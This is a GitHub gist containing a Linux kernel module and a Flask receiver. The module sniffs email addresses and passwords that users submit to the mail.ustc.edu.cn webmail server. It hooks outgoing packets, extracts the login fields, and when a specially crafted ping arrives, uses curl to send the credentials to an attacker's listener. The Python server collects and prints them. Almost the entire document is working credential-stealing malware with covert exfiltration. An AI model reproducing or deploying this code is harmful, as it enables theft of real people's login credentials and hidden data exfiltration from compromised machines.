Skip to content

Instantly share code, notes, and snippets.

@brickgao
Last active July 12, 2016 14:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brickgao/b2bccde2c16717e0c61ec17ee20d5c00 to your computer and use it in GitHub Desktop.
Save brickgao/b2bccde2c16717e0c61ec17ee20d5c00 to your computer and use it in GitHub Desktop.
An experimental kernel module to sniffer email address and password from mail.ustc.edu.cn
/*
* Copyright (C) <2016> <Brickgao>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <linux/ip.h>
#include <linux/icmp.h>
#include <linux/tcp.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho_out, nfho_in;
char tcp_payload[2000];
char uidstr[] = "uid=", passwdstr[] = "password=", domainstr[] = "domain=";
int uidstr_len = 4, passwdstr_len = 9, domainstr_len = 7;
char uid[1000] = "\0", passwd[1000] = "\0", domain[1000] = "\0";
char argv2[1000] = "";
char *argv[] = {"/usr/bin/curl", "--data", argv2, "**INPUT THE ADDRESS AND PORT OF YOUR LISTENER HERE**", NULL};
char *envp[] = {"HOME=/", "PATH=/sbin:/bin:/usr/bin", NULL};
void send_email_and_password(void) {
call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
}
int find_field(char *haystack, int haystack_len, char *needle, int needle_len) {
int i;
for (i = haystack_len - needle_len; i > 0; -- i) {
if (strncmp(haystack + i, needle, needle_len) == 0) {
return i + needle_len;
}
}
return -1;
}
void get_field(char *to, char *data, int beg, int end) {
int i;
for (i = beg; i < end; ++ i) {
if (data[i] == '&' || data[i] == '\r' || data[i] == '\n')
break;
to[i - beg] = data[i];
}
to[i - beg] = '\0';
}
unsigned int watch_out(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int(okfn)(struct sk_buff *)) {
unsigned char *data;
struct iphdr *iphdr_struct;
struct tcphdr *tcphdr_struct;
unsigned int mail_ustc_edu_cn = 0x8A08DCA; // 202.141.160.8
int ip_hl, ip_total_length, tcp_hl, tcp_payload_len;
int uid_pos = -1, passwd_pos = -1, domain_pos = -1;
if (!skb || skb->protocol != htons(ETH_P_IP)) return NF_ACCEPT;
data = skb->data;
iphdr_struct = (struct iphdr *)data;
ip_hl = iphdr_struct->ihl * 4;
ip_total_length = ntohs(iphdr_struct->tot_len);
if (iphdr_struct->protocol == IPPROTO_TCP &&
(ntohs(iphdr_struct->frag_off) & 0x3fff) == 0 &&
iphdr_struct->daddr == mail_ustc_edu_cn) {
tcphdr_struct = (struct tcphdr*)(data + ip_hl);
tcp_hl = tcphdr_struct->doff * 4;
tcp_payload_len = ip_total_length - ip_hl - tcp_hl;
if (skb_is_nonlinear(skb)) {
skb_copy_bits(skb, ip_hl + tcp_hl, tcp_payload, tcp_payload_len);
}
else {
memcpy(tcp_payload, data + ip_hl + tcp_hl, tcp_payload_len);
}
uid_pos = find_field(tcp_payload, tcp_payload_len, uidstr, uidstr_len);
passwd_pos = find_field(tcp_payload, tcp_payload_len, passwdstr, passwdstr_len);
domain_pos = find_field(tcp_payload, tcp_payload_len, domainstr, domainstr_len);
if (uid_pos != -1 && passwd_pos != -1 && domain_pos != -1) {
passwd[0] = uid[0] = domain[0] = '\0';
get_field(passwd, tcp_payload, passwd_pos, tcp_payload_len);
get_field(uid, tcp_payload, uid_pos, tcp_payload_len);
get_field(domain, tcp_payload, domain_pos, tcp_payload_len);
printk(KERN_INFO "Get Email address and password: %s@%s ||| %s\n", uid, domain, passwd);
sprintf(argv2, "email=%s@%s&password=%s", uid, domain, passwd);
}
}
return NF_ACCEPT;
}
unsigned int watch_in(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int(okfn)(struct sk_buff *)) {
unsigned char *data;
struct iphdr *iphdr_struct;
struct icmphdr *icmphdr_struct;
int ip_hl, ip_total_length;
if (!skb || skb->protocol != htons(ETH_P_IP)) return NF_ACCEPT;
data = skb->data;
iphdr_struct = (struct iphdr *)data;
ip_hl = iphdr_struct->ihl * 4;
ip_total_length = ntohs(iphdr_struct->tot_len);
if (iphdr_struct->protocol == IPPROTO_ICMP &&
(ntohs(iphdr_struct->frag_off) & 0x3fff) == 0) {
icmphdr_struct = (struct icmphdr*)(data + ip_hl);
if (icmphdr_struct->type == ICMP_ECHO &&
ntohs(icmphdr_struct->un.echo.sequence) == 10 &&
uid[0] != '\0') {
send_email_and_password();
}
}
return NF_ACCEPT;
}
int init_module(void) {
nfho_out.hook = watch_out;
nfho_out.pf = PF_INET;
nfho_out.priority = NF_IP_PRI_FIRST;
nfho_out.hooknum = NF_INET_POST_ROUTING;
nf_register_hook(&nfho_out);
nfho_in.hook = watch_in;
nfho_in.pf = PF_INET;
nfho_in.priority = NF_IP_PRI_FIRST;
nfho_in.hooknum = NF_INET_PRE_ROUTING;
nf_register_hook(&nfho_in);
return 0;
}
void cleanup_module(void) {
nf_unregister_hook(&nfho_out);
nf_unregister_hook(&nfho_in);
}
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Brickgao <brickgao@gmail.com>");
MODULE_DESCRIPTION("An experimental kernel module to sniffer email address and password from mail.ustc.edu.cn");
MODULE_VERSION("0.1");
#!/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["POST"])
def index():
print(request.form["email"], request.form["password"])
return ""
if __name__ == "__main__":
app.run(host="0.0.0.0")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment